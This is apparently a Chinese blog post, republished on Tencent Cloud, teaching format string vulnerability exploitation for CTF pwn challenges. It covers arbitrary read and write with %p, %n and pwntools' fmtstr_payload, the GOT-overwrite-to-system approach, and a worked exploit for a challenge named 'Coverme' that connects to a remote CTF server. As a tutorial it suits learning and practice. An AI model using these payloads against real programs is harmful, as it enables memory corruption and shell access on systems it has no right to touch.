前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Pwn-格式化字符串漏洞

Pwn-格式化字符串漏洞

作者头像
偏有宸机
发布2020-11-04 10:22:46
1.5K0
发布2020-11-04 10:22:46
举报
文章被收录于专栏:宸机笔记

利用原理

格式化字符串函数可以接受可变数量的参数,并将第一个参数作为格式化字符串,根根据它来解析后面的参数。简单来说格式化字符串的漏洞就是格式字符串要求的参数和实际提供的参数不匹配。

一般来说格式化字符串在利用时主要分为三个部分:

  • 格式化字符串函数
  • 要格式化的字符串
  • 后续参数(可选)

常见的格式化函数

输入:scanf

输出:

Printf

输出到stdout

Fprintf

输出到指定file流

Vprintf

根据参数列表格式化输出到stdout

Vfprintf

根据参数列表格式化输出到指定file流

Sprintf

输出到字符串

Snprintf

输出到指定个字节数到字符串

Vsprintf

根据参数列表格式化输出到字符串

Vsnprintf

根据参数列表格式化输出指定字节到字符串

Setproctitle

设置argv

Syslog

输出日志

Printf

printf("hello,H%d%s!",4,"cker");

printf("格式化字符",参数1,参数2);

第一个参数的格式化字符的数量决定了后面参数的数量(%d便是格式化字符)

栈示意图:

利用思路

一般先以ret2libc作为辅助用于泄露system函数的真实地址,再将system函数的地址写入到连接printf函数(或类似的输出函数)got表中,从而以欺骗的方式在执行printf时实际执行的是system函数,获得bash读取栈和任意地址

任意地址读

假设向程序中输入多个格式字符

代码语言:javascript
复制
gef➤ c
Continuing.
0xffffdafc
aaaa.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p

0x61616161处便是aaaa字符串开始的地方

代码语言:javascript
复制
gef➤ c
Continuing.
aaaa0xffffda98.0xf7fcd410.0x8049199.(nil).0x1.0x61616161.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025[Inferior 1 (process 128897) exited normally]

0x61616161是输出的第6个字符,所以使用%6$s 即可读出该地址,这便是手工计算偏移量的方法

任意地址写

  • 可以直接使用pwntools的fmtstr_payload函数

需要在0xffffdafc 该地址上写入数据0x5201314

fmtstr_payload(7,{0xffffdafc:0x5201314})

前提是需要先确定好字符串的偏移量,这上面为7

其他用法

格式

示例

简介

注释

%n

到目前位置所写的字符数

%<显示的位数><进制>

%08X

以位的形式显示出16进制的值

%<arg#>$<format>

%n$x

直接获得被指定的某个参数

这里的n表示栈中格式字符串后面的第N个值

解题步骤

  1. 确定字符串参数的偏移量
  2. 如果程序中存在敏感的系统函数,可以直接打印,否则:
    • 获取某I\O函数的got表地址
    • 进而获取对应的libc.so版本,从而得到system函数的地址
  3. 修改函数a的再got表地址中的值为system的地址
  4. 当程序再次执行函数a时,实际便是执行的system函数(一般在输入时输入”/bin/sh”)即可完成system函数的执行获取shell。 题目示例

Coverme

IDA分析程序

代码语言:javascript
复制
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [esp+Ch] [ebp-40Ch]
  unsigned int v5; // [esp+40Ch] [ebp-Ch]
  v5 = __readgsdword(0x14u);
  puts("I like You, But....what's your name?");
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
  fgets(&s, 1024, stdin);
  printf(&s);
  if ( key == 85988116 )
    getshell();
  else
    puts(" But I just like You.");
  return 0;
}
  • 可以利用IDA的LazyIDA插件直接搜索涉及格式化字符串漏洞的函数

找到format string的关键代码后发现该段条件如果成立即可直接返回shell

代码语言:javascript
复制
     if ( key == 85988116 )
       getshell();

先查看变量key的地址

代码语言:javascript
复制
.data:0804A030 key       dd 0E9h

测试格式化字符串的距离

0x64636261 便是,即第7位

最后构造payload

代码语言:javascript
复制
payload = fmtstr_payload(7,{0x0804A030:0x5201314})
  • 0x0804A030是key的地址,而0x5201314便是key要等于的值

EXP

代码语言:javascript
复制
from pwn import *
#io = process('./coverme')
io = remote("120.79.17.251",10011)
io.sendline(payload)
io.interactive()
print p32(0x0804A030)
#abcd%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p
本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2020-03-27,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 利用原理
    • 常见的格式化函数
      • Printf
        • 栈示意图:
    • 利用思路
      • 任意地址读
        • 任意地址写
          • 其他用法
          • 解题步骤
            • Coverme
            领券
            问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档